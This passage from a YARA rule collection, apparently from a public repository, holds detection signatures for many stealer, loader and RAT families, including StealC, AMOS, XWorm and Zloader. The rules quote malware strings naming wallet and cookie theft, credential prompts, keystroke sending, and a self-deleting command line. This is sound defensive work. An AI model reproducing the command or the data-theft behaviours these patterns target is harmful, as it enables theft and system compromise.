		description = "Detects PureLogs Stealer Initial Payload"
		author = "RussianPanda"
		id = "c1e6a0a0-f8ed-5b78-bcae-55c1c1dfc9e4"
		date = "2024-01-10"
		modified = "2024-01-10"
		reference = "https://russianpanda.com/2023/12/26/Pure-Logs-Stealer-Malware-Analysis/"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Pure Logs Stealer/purelogs_stealer_initial_payload.yar#L1-L19"
		license_url = "N/A"
		logic_hash = "0fe94c705b94f82163f952d0a29aac4689947a1d439bdc1847ee510c25cf2e40"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {73 ?? 00 00 06 28 ?? 00 00 ?? 2A}
		$s2 = {28 ?? 00 00 06 74 ?? 00 00 1B 28 ?? 00 00 0A 2A}
		$s3 = {28 ?? 00 00 ?? 75 ?? 00 00 01 72 ?? 00 00 70 6F ?? 00 00 0A 2A}
		$s4 = {28 ?? 00 00 ?? 75 ?? 00 00 01 72 ?? 00 00 ?? 20 00 01 00 00 14 14 14 6F ?? 00 00 ?? 26}
		$s5 = {28 ?? 00 00 ?? 73 ?? 00 00 [29] 73 15 00 00 0A [22] 28 01 00 00 2B 28 02 00 00 2B}
	condition:
		all of ( $s* ) and uint16( 0 ) == 0x5A4D and filesize < 1MB
}


rule RUSSIANPANDA_Legionloader : FILE
{
	meta:
		description = "Detects LegionLoader core payload"
		author = "RussianPanda"
		id = "8ef86f65-543e-5491-8459-fd540e70fc0c"
		date = "2024-10-05"
		modified = "2024-12-30"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satacom"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/LegionLoader/legionloader.yar#L1-L17"
		license_url = "N/A"
		hash = "3b630367b2942bd765f8a35bca47ea6b"
		logic_hash = "c833b22a6e87f6289e723a51ac9eb02848a4868c73ca9f568f6450e53c41a657"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "crypto_domain"
		$s2 = "postback_url"
		$s3 = "last_win_error"
	condition:
		uint16( 0 ) == 0x5A4D and all of them and filesize < 500KB
}

rule RUSSIANPANDA_Legionloader_Dropper : FILE
{
	meta:
		description = "Detects malicious LegionLoader DLL dropper"
		author = "RussianPanda"
		id = "a1b04033-cfe0-5088-bfee-d08752e8840b"
		date = "2024-09-23"
		modified = "2024-09-23"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satacom"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/LegionLoader/LegionLoader_dropper.yar#L1-L17"
		license_url = "N/A"
		hash = "ef5b961ebc6167e728f9bf40e726ac71"
		logic_hash = "0871a6a0ab2c405793e8a49e662ba41acdcc6c8afac315f290de2cc05abd39fa"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {48 03 CA [0-50] 33 D2 33 C9 FF 15 ?? ?? ?? ?? 33 D2 33 C9 FF 15}
		$s2 = {44 30 3B 48 FF C3}
		$s3 = {8B ?? 8B ?? 83 ?? 01 D1 ?? F7 ?? 81 ?? 20 83 B8 ED 8B}
	condition:
		uint16( 0 ) == 0x5A4D and all of them and filesize < 1MB
}



rule RUSSIANPANDA_Win_Mal_Matanbuchus_Loader : FILE
{
	meta:
		description = "Detects Matanbuchus 3.0 Loader component"
		author = "RussianPanda"
		id = "3a7a22b3-a1aa-59d8-b947-99a2ea192a6b"
		date = "2025-02-15"
		modified = "2026-02-16"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Matanbuchus/win_mal_Matanbuchus_loader.yar#L1-L15"
		license_url = "N/A"
		hash = "ec29bcda7d42d812aebd2ee5be6e43256bcf6095b9fc36f92eec5d6475dd5e1f"
		logic_hash = "a9497b30283d932c134a4bf8f965ce1bd3d590f8dec53cb65fa418a152f67581"
		score = 75
		quality = 81
		tags = "FILE"
	strings:
		$s1 = {FF E0 F5 05 EB 0F}
		$s2 = {65 78 70 61}
		$s3 = {6E 64 20 33}
		$s4 = {66 89 ?? ?? ?? ?? 00 00 00 66 89 ?? ?? ?? ?? 00 00 00 66 89}
		$s5 = {E8 00 00 00 00 83 04 24 05 CB}
	condition:
		uint16( 0 ) == 0x5A4D and 4 of them and filesize < 250KB
}



rule RUSSIANPANDA_Ducktail : FILE
{
	meta:
		description = "Ducktail Infostealer"
		author = "RussianPanda"
		id = "14ba165f-a1f3-5820-a6d8-e2b6ab2fbb51"
		date = "2023-04-25"
		modified = "2023-05-05"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Ducktail/ducktail.yar#L1-L16"
		license_url = "N/A"
		logic_hash = "cb248870f6945d7a6d60d54944dc726d40ba326448af39b87325ec56445602a5"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s = {65 5f 73 71 6c 69 74 65 33 2e 64 6c 6c}
		$s1 = {54 65 6c 65 67 72 61 6d 2e 42 6f 74 2e 64 6c 6c}
		$s2 = {4e 65 77 74 6f 6e 73 6f 66 74 2e 4a 73 6f 6e 2e 64 6c 6c}
		$s3 = {42 6f 75 6e 63 79 43 61 73 74 6c 65 2e 43 72 79 70 74 6f 2e 64 6c 6c}
		$s4 = {53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 53 6f 63 6b 65 74 73 2e 43 6c 69 65 6e 74 2e 64 6c 6c}
		$s5 = {53 79 73 74 65 6d 2e 4e 65 74 2e 4d 61 69 6c 2e 64 6c 6c}
	condition:
		all of them and filesize > 60MB
}

rule RUSSIANPANDA_Win_Mal_Planetstealer : FILE
{
	meta:
		description = "Detects PlanetStealer"
		author = "RussianPanda"
		id = "f912066f-4151-5f83-8d34-6bffdf9e25e5"
		date = "2024-03-04"
		modified = "2024-03-24"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PlanetStealer/win_mal_PlanetStealer.yar#L1-L14"
		license_url = "N/A"
		logic_hash = "e1660d6fed4c48b45b40bd51fb52254c5b19ca6f1938b68f2344bde473820b86"
		score = 75
		quality = 79
		tags = "FILE"
	strings:
		$s1 = {48 8D 15 ?? ?? ?? 00 0F B6 34 10 0F B6 BC 04 ?? ?? 00 00 ?? ?? 40 88 ?? 04 ?? ?? 00 00 48 FF C0}
		$s2 = {48 83 F8 ?? 7C DA}
		$s3 = {72 75 6E 74 69 6D 65 2E 67 6F 62 75 66}
		$s4 = {74 6F 74 61 6C 5F 77 61 6C 6C 65 74 73}
		$s5 = {74 6F 74 61 6C 5F 63 6F 6F 6B 69 65 73}
	condition:
		uint16( 0 ) == 0x5A4D and all of them and #s2 > 100 and #s1 > 100 and filesize < 20MB
}

rule RUSSIANPANDA_Mal_Cleanuploader : FILE
{
	meta:
		description = "Detects CleanUpLoader"
		author = "RussianPanda"
		id = "fc75fed2-0f8c-55c9-bd10-efe95a678f31"
		date = "2024-02-14"
		modified = "2024-02-14"
		reference = "https://x.com/AnFam17/status/1757871703282077857?s=20"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/CleanUpLoader/mal_cleanuploader.yar#L1-L14"
		license_url = "N/A"
		hash = "2b62dd154b431d8309002d5b4a35de07"
		logic_hash = "a9267c568c11420e36f0781469aa7d932c87d52707981912558eb0f4f84f673a"
		score = 75
		quality = 83
		tags = "FILE"
	strings:
		$s1 = {0F B6 80 30 82 42 00 88}
		$s2 = {44 69 73 6B 43 6C 72}
		$s3 = {49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 20 00 45 00 64 00 67 00 65}
	condition:
		uint16( 0 ) == 0x5A4D and all of them and #s1 > 15
}

rule RUSSIANPANDA_PSWSTEALER : FILE
{
	meta:
		description = "PSWSTEALER"
		author = "RussianPanda"
		id = "8a596074-ffe3-5979-b384-487ebe8b953c"
		date = "2023-04-02"
		modified = "2023-05-05"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PSWSTEALER/pswstealer.yar#L1-L14"
		license_url = "N/A"
		logic_hash = "7d85b0ccaa07419f22b9f38a4bc66435cd689b21fa7e4584ef8bea485b6bd2c1"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$obf = {09 20 FF [3] 5F 06 25 17 58 0A 61 1E 62 09 1E 63 06 25 17 58 0A 61 D2 60 D1 9D}
		$obf1 = {09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C}
		$enc = {73 ?? 00 00 0A 73 ?? 00 00 0A}
		$s = {73 ?? 00 00 0A 0C 08 6F ?? 00 00 0A}
	condition:
		all of them and filesize < 200KB
}


rule RUSSIANPANDA_Win_Mal_Rustydropper : FILE
{
	meta:
		description = "Detects RustyDropper"
		author = "RussianPanda"
		id = "9f217080-81e0-547a-9336-cf8ac2fadf36"
		date = "2024-03-01"
		modified = "2024-03-01"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/RustyDropper/win_mal_RustyDropper.yar#L1-L12"
		license_url = "N/A"
		hash = "a3a5e7011335a2284e2d4f73fd464ff129f0c9276878a054c1932bc50608584b"
		logic_hash = "d0c76bcd1af63cc1b1fbabc3fa33e6caafd7d9c7c3780a94a1ed37eadef655d7"
		score = 75
		quality = 81
		tags = "FILE"
	strings:
		$s1 = {47 3a 5c 52 55 53 54 5f 44 52 4f 50 50 45 52 5f 45 58 45 5f 50 41 59 4c 4f 41 44 5c 44 52 4f 50 50 45 52 5f 4d 41 49 4e 5c}
		$s2 = {46 45 41 54 55 52 45 5f 42 52 4f 57 53 45 52 5f 45 4d 55 4c 41 54 49 4f 4e}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Jinxloader : FILE
{
	meta:
		description = "Detects JinxLoader Golang version"
		author = "RussianPanda"
		id = "25570c99-5938-5be0-a153-a07be0d0571c"
		date = "2024-01-02"
		modified = "2024-01-02"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/JinxLoader/JinxLoader-1-2-2024.yar#L1-L16"
		license_url = "N/A"
		hash = "6bd7ff5d764214f239af2bb58b368308c2d04f1147678c2f638f37a893995f71"
		logic_hash = "13dee435fb4d40c629c0a30b6f655b87f14b10a6f6acf61d00e6c692c9bb0ff1"
		score = 75
		quality = 81
		tags = "FILE"
	strings:
		$s1 = {72 75 6E 74 69 6D 65 2E 67 6F 70 61 6E 69 63}
		$s2 = {48 8D 05 4D 6E 07 00 BB 0A 00 00 00}
		$s3 = {73 65 6C 66 5F 64 65 73 74 72 75 63 74 2E 62 61 74}
		$s4 = {48 8D 1D B7 24 08 00 [25] E8 EF FC E4 FF}
	condition:
		uint16( 0 ) == 0x5A4D and all of ( $s* ) and filesize < 9MB
}


rule RUSSIANPANDA_Prysmax_Stealer : FILE
{
	meta:
		description = "Detects Prysmax Stealer"
		author = "RussianPanda"
		id = "97ab92b8-1771-5881-9cd1-d8ff76b8f380"
		date = "2024-01-09"
		modified = "2024-01-10"
		reference = "https://www.cyfirma.com/outofband/new-maas-prysmax-launches-fully-undetectable-infostealer/"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Prysmax Stealer/prysmax_stealer.yar#L1-L21"
		license_url = "N/A"
		logic_hash = "869eee7dd5209bdea98c248791b9ac911e3daabe6d440aa62aecefa43539a41c"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$a1 = {23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23}
		$s2 = {73 70 72 79 73 6D 61 78}
		$s3 = {56 43 52 55 4E 54 49 4D 45 31 34 30 2E 64 6C 6C}
		$s4 = {56 43 52 55 4E 54 49 4D 45 31 34 30 5F 31 2E 64 6C 6C}
		$s5 = {4D 53 56 43 50 31 34 30 2E 64 6C 6C}
		$s6 = {50 79 49 6E 73 74 61 6C 6C 65 72}
	condition:
		all of ( $s* ) and uint16( 0 ) == 0x5A4D and $a1 in ( 9600000 .. filesize ) and #a1 > 600 and filesize > 60MB and filesize < 200MB
}

rule RUSSIANPANDA_Mal_Xred_Backdoor : FILE
{
	meta:
		description = "Detects XRed backdoor"
		author = "RussianPanda"
		id = "61f5fcb8-9351-5db0-8bce-123c96d2a443"
		date = "2024-02-09"
		modified = "2024-02-09"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/XRed_Backdoor/mal_xred_backdoor.yar#L1-L18"
		license_url = "N/A"
		hash = "9e1fbae3a659899dde8db18a32daa46a"
		logic_hash = "36d138a0efade1d5c075662dc528235fe66b49879730db78c4c7290fec7420b5"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = {4B 65 79 62 6F 61 72 64 20 48 6F 6F 6B 20 2D 3E 20 41 63 74 69 76 65}
		$s2 = {54 43 50 20 43 6C 69 65 6E 74 20 2D 3E 20 41 6B 74 69 66}
		$s3 = {55 53 42 20 48 6F 6F 6B 73 20 2D 3E 20 41 63 74 69 76 65}
		$s4 = {45 58 45 55 52 4C 31}
		$s5 = {49 4E 49 55 52 4C 33}
		$s6 = {58 52 65 64 35 37}
	condition:
		uint16( 0 ) == 0x5A4D and 3 of them
}

rule RUSSIANPANDA_Win_Mal_Stealc_V2 : FILE
{
	meta:
		description = "Detects StealC v2"
		author = "RussianPanda"
		id = "052f4556-ddba-5187-8dcb-138f02bc4c36"
		date = "2025-04-10"
		modified = "2025-04-10"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/StealC/win_mal_StealC_v2.yar#L1-L12"
		license_url = "N/A"
		hash = "bc7e489815352f360b6f0c0064e1d305db9150976c4861b19b614be0a5115f97"
		logic_hash = "1715ef4e1914a50d8f4a0644ddfd7f9bb2b6f0ec0dfc77615dce4dd5fc943166"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {48 8d ?? ?? ?? ??  00 48 8d}
		$s2 = {0F B7 C8 81 E9 19 04 00 00 74 14 83 E9 09 74 0F 83 E9 01 74 0A 83 E9 1C 74 05 83 F9 04 75 08}
	condition:
		uint16( 0 ) == 0x5A4D and #s1 > 500 and all of them and filesize < 900KB
}


rule RUSSIANPANDA_Solarmarker_First_Stage_Payload : FILE
{
	meta:
		description = "Detects SolarMarker First Stage payload"
		author = "RussianPanda"
		id = "56eec644-9ad7-51db-9d11-68ea3e12c36a"
		date = "2024-01-30"
		modified = "2024-01-30"
		reference = "https://x.com/luke92881/status/1751968350689771966?s=20"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solarmarker_first_stage_payload.yar#L1-L21"
		license_url = "N/A"
		hash = "f53563541293a826738d3b8f1164ea43"
		logic_hash = "e704614782b0f3cba60c53413e889113d2d44f37e60801205e5ed5ff921b13ee"
		score = 75
		quality = 71
		tags = "FILE"
	strings:
		$s1 = {63 72 65 64 75 69}
		$s2 = {43 72 65 64 55 49 50 72 6F 6D 70 74 46 6F 72 43 72 65 64 65 6E 74 69 61 6C 73}
		$s3 = {50 6F 77 65 72 53 68 65 6C 6C}
		$s4 = {73 65 74 5F 43 75 72 73 6F 72 50 6F 73 69 74 69 6F 6E}
		$s5 = {73 65 74 5F 41 63 63 65 70 74 42 75 74 74 6F 6E}
		$s6 = {4D 65 73 73 61 67 65 42 6F 78 42 75 74 74 6F 6E 73}
		$s7 = {41 67 69 6C 65 44 6F 74 4E 65 74 52 54}
		$s8 = "_CorExeMain"
	condition:
		all of them and filesize > 250MB
}

rule RUSSIANPANDA_Solarphantom : FILE
{
	meta:
		description = "SolarPhantom Backdoor Detection"
		author = "RussianPanda"
		id = "f564a943-e83b-5c1b-ba8c-b227d69d3fd8"
		date = "2023-06-22"
		modified = "2023-12-11"
		reference = "https://www.esentire.com/blog/solarmarker-to-jupyter-and-back"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SolarMarker/solarphantom.yar#L1-L16"
		license_url = "N/A"
		logic_hash = "3b49d301e625d5abf1b726481a80d6a97d33acd3301c12964f2f37d37130c1b7"
		score = 75
		quality = 83
		tags = "FILE"
	strings:
		$p1 = {B8 94 E3 46 00 E8 C6 EB FA FF 8B 45 F8}
		$p2 = {68 E8 EF 46 00 FF 75 E4}
		$p3 = {62 72 76 70 72 66 5f 62 6b 70}
	condition:
		uint16( 0 ) == 0x5A4D and 1 of ( $p* ) and filesize < 600KB
}


rule RUSSIANPANDA_Pikabot_1 : FILE
{
	meta:
		description = "Detects PikaBot"
		author = "RussianPanda"
		id = "e740b821-69cc-5053-9f90-439b4364656f"
		date = "2024-01-02"
		modified = "2024-01-02"
		reference = "https://research.openanalysis.net/pikabot/debugging/string%20decryption/2023/11/12/new-pikabot.html"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PikaBot/Pikabot_1-2-2024.yar#L1-L16"
		license_url = "N/A"
		logic_hash = "f2dd26c23aba72c2b6b959fb411381b7d3a7466f94bf5259f57e96e44d3ee153"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {8A 04 11 30 02 42 83 EE 01 75 F5 5E C3}
		$s2 = {C0 E9 02 C0 E0 04 [13] C0 E2 06 02 D0}
		$s3 = {8D 53 BF 80 FA 19 0F B6 C3}
	condition:
		uint16( 0 ) == 0x5A4D and 2 of ( $s* ) and filesize < 500KB
}

rule RUSSIANPANDA_Ghostgambit : FILE
{
	meta:
		description = "Detects GhostGambit dropper"
		author = "RussianPanda"
		id = "0348b9fa-59be-5f30-8ebc-f1e87cf98b07"
		date = "2024-07-09"
		modified = "2024-07-09"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GhostGambit/GhostGambit.yar#L1-L14"
		license_url = "N/A"
		hash = "2b16c68d9bafbd2ecf3634d991d7c794"
		logic_hash = "419efbea3c347d0ec9365c0c21cccb6f229f8c42d22a2bcfdf14854e7f83aea1"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "/code32" ascii wide
		$s2 = "/reg32" ascii wide
		$s3 = "ZhuDongFangYu.exe" ascii wide
		$s4 = "/c ping -n 4 127.0.0.1 > nul && del" ascii wide
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Mal_Narniarat : FILE
{
	meta:
		description = "Detects NarniaRAT from BotnetFenix campaign"
		author = "RussianPanda"
		id = "64c3a44b-5d75-5fec-bfc1-b66a5eb5780c"
		date = "2024-02-02"
		modified = "2024-02-02"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/NarniaRAT/mal_NarniaRAT.yar#L1-L16"
		license_url = "N/A"
		hash = "43f6c3f92a025d12de4c4f14afa5d098"
		logic_hash = "3ee8bf6b3970c6f56ca98c87752050217e350da160a650e1724b19f340bf0230"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "client-remote desktop"
		$s2 = "SendDataToServer"
		$s3 = "SendRunningApps"
		$s4 = "SendDataToServer"
		$s5 = "SendKeys"
		$s6 = "_CorExeMain"
	condition:
		uint16( 0 ) == 0x5A4D and 5 of them
}

rule RUSSIANPANDA_Win_Mal_Gobitloader : FILE
{
	meta:
		description = "Detects GoBitLoader"
		author = "RussianPanda"
		id = "4ebc7987-c1b2-5682-943f-7c19a9cb6b36"
		date = "2024-03-24"
		modified = "2024-03-24"
		reference = "https://www.malwarebytes.com/blog/threat-intelligence/2024/03/new-go-loader-pushes-rhadamanthys"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GoBitLoader/win_mal_GoBitLoader.yar#L1-L13"
		license_url = "N/A"
		logic_hash = "66951b290bef6a6c9eef4ea674472465dfe0ec5072dce21f48b58191f7ce90e3"
		score = 75
		quality = 79
		tags = "FILE"
	strings:
		$s1 = {6D 61 69 6E 2E 52 65 64 69 72 65 63 74 54 6F 50 61 79 6C 6F 61 64}
		$s2 = {6D 61 69 6E 2E 48 6F 6C 6C 6F 77 50 72 6F 63 65 73 73}
		$s3 = {6D 61 69 6E 2E 41 65 73 44 65 63 6F 64 65 2E 66 75 6E 63 31}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Win_Mal_Xworm : FILE
{
	meta:
		description = "Detects XWorm RAT"
		author = "RussianPanda"
		id = "5701f382-3c97-5a00-9673-6c39b0f11cc2"
		date = "2024-03-11"
		modified = "2024-03-11"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/XWorm/win_mal_XWorm.yar#L1-L15"
		license_url = "N/A"
		hash = "fc422800144383ef6e2e0eee37e7d6ba"
		logic_hash = "c42544285517dc61628e8df2ee5ab6733924fbb2cc08b9b2df273eec0a401d90"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {4D 00 6F 00 64 00 69 00 66 00 69 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21}
		$s2 = {50 00 6C 00 75 00 67 00 69 00 6E 00 73 00 20 00 52 00 65 00 6D 00 6F 00 76 00 65 00 64 00 21}
		$s3 = {73 00 65 00 6E 00 64 00 50 00 6C 00 75 00 67 00 69 00 6E}
		$s4 = {4D 00 6F 00 64 00 69 00 66 00 69 00 65 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 66 00 75 00 6C 00 6C 00 79 00 21}
		$s5 = "_CorExeMain"
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule RUSSIANPANDA_Win_Mal_Zloader : FILE
{
	meta:
		description = "Detects Zloader and other Zloader modules that employ the same encryption"
		author = "RussianPanda"
		id = "3f72e067-c82b-5c65-92c8-010955971d87"
		date = "2024-03-10"
		modified = "2024-03-10"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Zloader/win_mal_Zloader.yar#L1-L13"
		license_url = "N/A"
		logic_hash = "9ac9e8ca4a6f84e1bccac2292705ee6ebbc1595eb3f40ed777f7973e9bda7fc1"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {8B 45 ?? 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C1 8B 45 ?? 99 F7 F9 8B 45 ?? 48 63 D2 48 8D 0D ?? ?? ?? 00 0F BE 0C 11 31 C8 88 C2 48 8B 45 F0 48 63 4D}
		$s2 = {48 63 C9 44 0F B6 04 08 48 8B 45 E8 8B 4D D4 0F B6 14 08 44 31 C2 88 14 08 8B 45 D4}
		$s3 = {B9 11 00 00 00 99 F7 F9 8B [0-20] 31 C8 88 C2}
		$s4 = {8B 45 ?? BE 11 00 00 00 99 F7 [0-20] 83 F6 FF}
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule RUSSIANPANDA_AMOS_Stealer : FILE
{
	meta:
		description = "Detects AMOS Stealer"
		author = "RussianPanda"
		id = "481c0abc-efa6-5965-a5b8-0164229130e1"
		date = "2025-04-11"
		modified = "2025-04-11"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AMOS/amos_stealer_4_25.yar#L1-L24"
		license_url = "N/A"
		hash = "55663778a8c593b77a82ea1be072c73dd6a1d7a9567bbfbfad7d3dec9f672996"
		logic_hash = "dffaf67bdfb8db07f69fb00720a6638e7a89db2acc1d848d635031a0aec5bdd3"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$op1 = {E8 ?? ?? ?? ?? EB 00 48 8D}
		$op2 = {48 8D BD ?? ?? FF FF E8 ?? ?? 00 00 48 8D BD}
	condition:
		( uint32( 0 ) == 0xfeedface or uint32( 0 ) == 0xcefaedfe or uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xcffaedfe or uint32( 0 ) == 0xcafebabe or uint32( 0 ) == 0xbebafeca or uint32( 0 ) == 0xcafebabf or uint32( 0 ) == 0xbfbafeca ) and ( #op1 > 50000 and #op2 > 4 )
}

rule RUSSIANPANDA_AMOS_Stealer_1 : FILE
{
	meta:
		description = "Detects AMOS Stealer"
		author = "RussianPanda"
		id = "f2abe03e-7a29-514d-9125-9ec9d0875179"
		date = "2025-03-31"
		modified = "2025-04-11"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AMOS/amos_stealer.yar#L1-L24"
		license_url = "N/A"
		hash = "55663778a8c593b77a82ea1be072c73dd6a1d7a9567bbfbfad7d3dec9f672996"
		logic_hash = "64bf0753e2696633ed255df9350a01cb1e75fd6e6c0d4fe48194927acf7e2363"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$op1 = {E8 ?? ?? ?? ?? E9 00 00 00 00 48 8D}
		$op2 = {48 3B 85 68 FF FF FF 0F 83 03 01 00 00 C6 85 5F FF FF FF 00 C7 85 58 FF FF FF 00 00 00 00}
	condition:
		( uint32( 0 ) == 0xfeedface or uint32( 0 ) == 0xcefaedfe or uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xcffaedfe or uint32( 0 ) == 0xcafebabe or uint32( 0 ) == 0xbebafeca or uint32( 0 ) == 0xcafebabf or uint32( 0 ) == 0xbfbafeca ) and ( #op1 > 5000 and $op2 )
}


rule RUSSIANPANDA_Metastealer_NET_Reactor_Packer : FILE
{
	meta:
		description = "Detects NET_Reactor_packer 12-2023 used in MetaStealer"
		author = "RussianPanda"
		id = "5d4f62d2-6a27-53af-9b03-61daa99c10a4"
		date = "2023-12-29"
		modified = "2023-12-30"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MetaStealer/metastealer_12-2023_packer.yar#L1-L16"
		license_url = "N/A"
		logic_hash = "1951d8b05f11b8a77a5bf792ad2b0ad95b8dede936ab5cd0699383468c3c97a8"
		score = 75
		quality = 83
		tags = "FILE"
	strings:
		$s1 = {C7 84 24 80 02 00 00 24 02 00 00 C6 44 24}
		$s2 = "mscoree.dll" wide
		$s3 = {43 61 76 69 6c 73 20 43 6f 72 70 2e 20 32 30 31 30}
		$s4 = {80 F1 E7 80 F2 44 [16] 80 F1 4B 80 F2 23}
	condition:
		3 of ( $s* ) and filesize < 600KB
}


rule RUSSIANPANDA_Gatekeeperpayload : FILE
{
	meta:
		description = "Detects GateKeeper payload used by KongTuke"
		author = "RussianPanda"
		id = "5043d9fa-3b11-50bd-a8d2-56aa6e449d9e"
		date = "2026-01-16"
		modified = "2026-01-16"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/KongTuke/gatekeeper_payload.yar#L1-L15"
		license_url = "N/A"
		hash = "f1f3cf076f8a6f3f5bac6a2a05d4883cc02919fbaf88a6826c86761a1d49f6e1"
		logic_hash = "4e31df0feec4bc744344953ab27eae6a4db7ad073812c0f3152a8e27dd2253fc"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = {68 00 00 00 79 00 00 00 70 00 00 00 65 00 00 00 72 00 00 00 64 00 00 00 62 00 00 00 67 00 00 00}
		$s2 = {64 00 00 00 6E 00 00 00 73 00 00 00 70 00 00 00 79 00 00 00}
		$s3 = "GetProcesses" ascii wide
		$s4 = "MainWindowTitle" ascii wide
		$s5 = "mscoree.dll"
	condition:
		all of ( $s* ) and filesize < 5MB
}

rule RUSSIANPANDA_Workersdevbackdoor_PS : FILE
{
	meta:
		description = "Detects WorkersDevBackdoor PowerShell script"
		author = "RussianPanda"
		id = "d2b526c1-a9f5-57de-818c-99b02e778a0d"
		date = "2023-12-15"
		modified = "2023-12-15"
		reference = "https://github.com/RussianPanda95/Yara-Rules"
		source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WorkersDevBackdoor/WorkersDevBackdoor_PS.yar#L1-L18"
		license_url = "N/A"
		logic_hash = "c71eed8fd7a44f3018150cc6ef55d10779093ed8e4c77fd9babcf9b1b9fadfda"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "sleep" wide
		$s2 = "convertto-securestring" wide
		$s3 = "System.Drawing.dll" wide
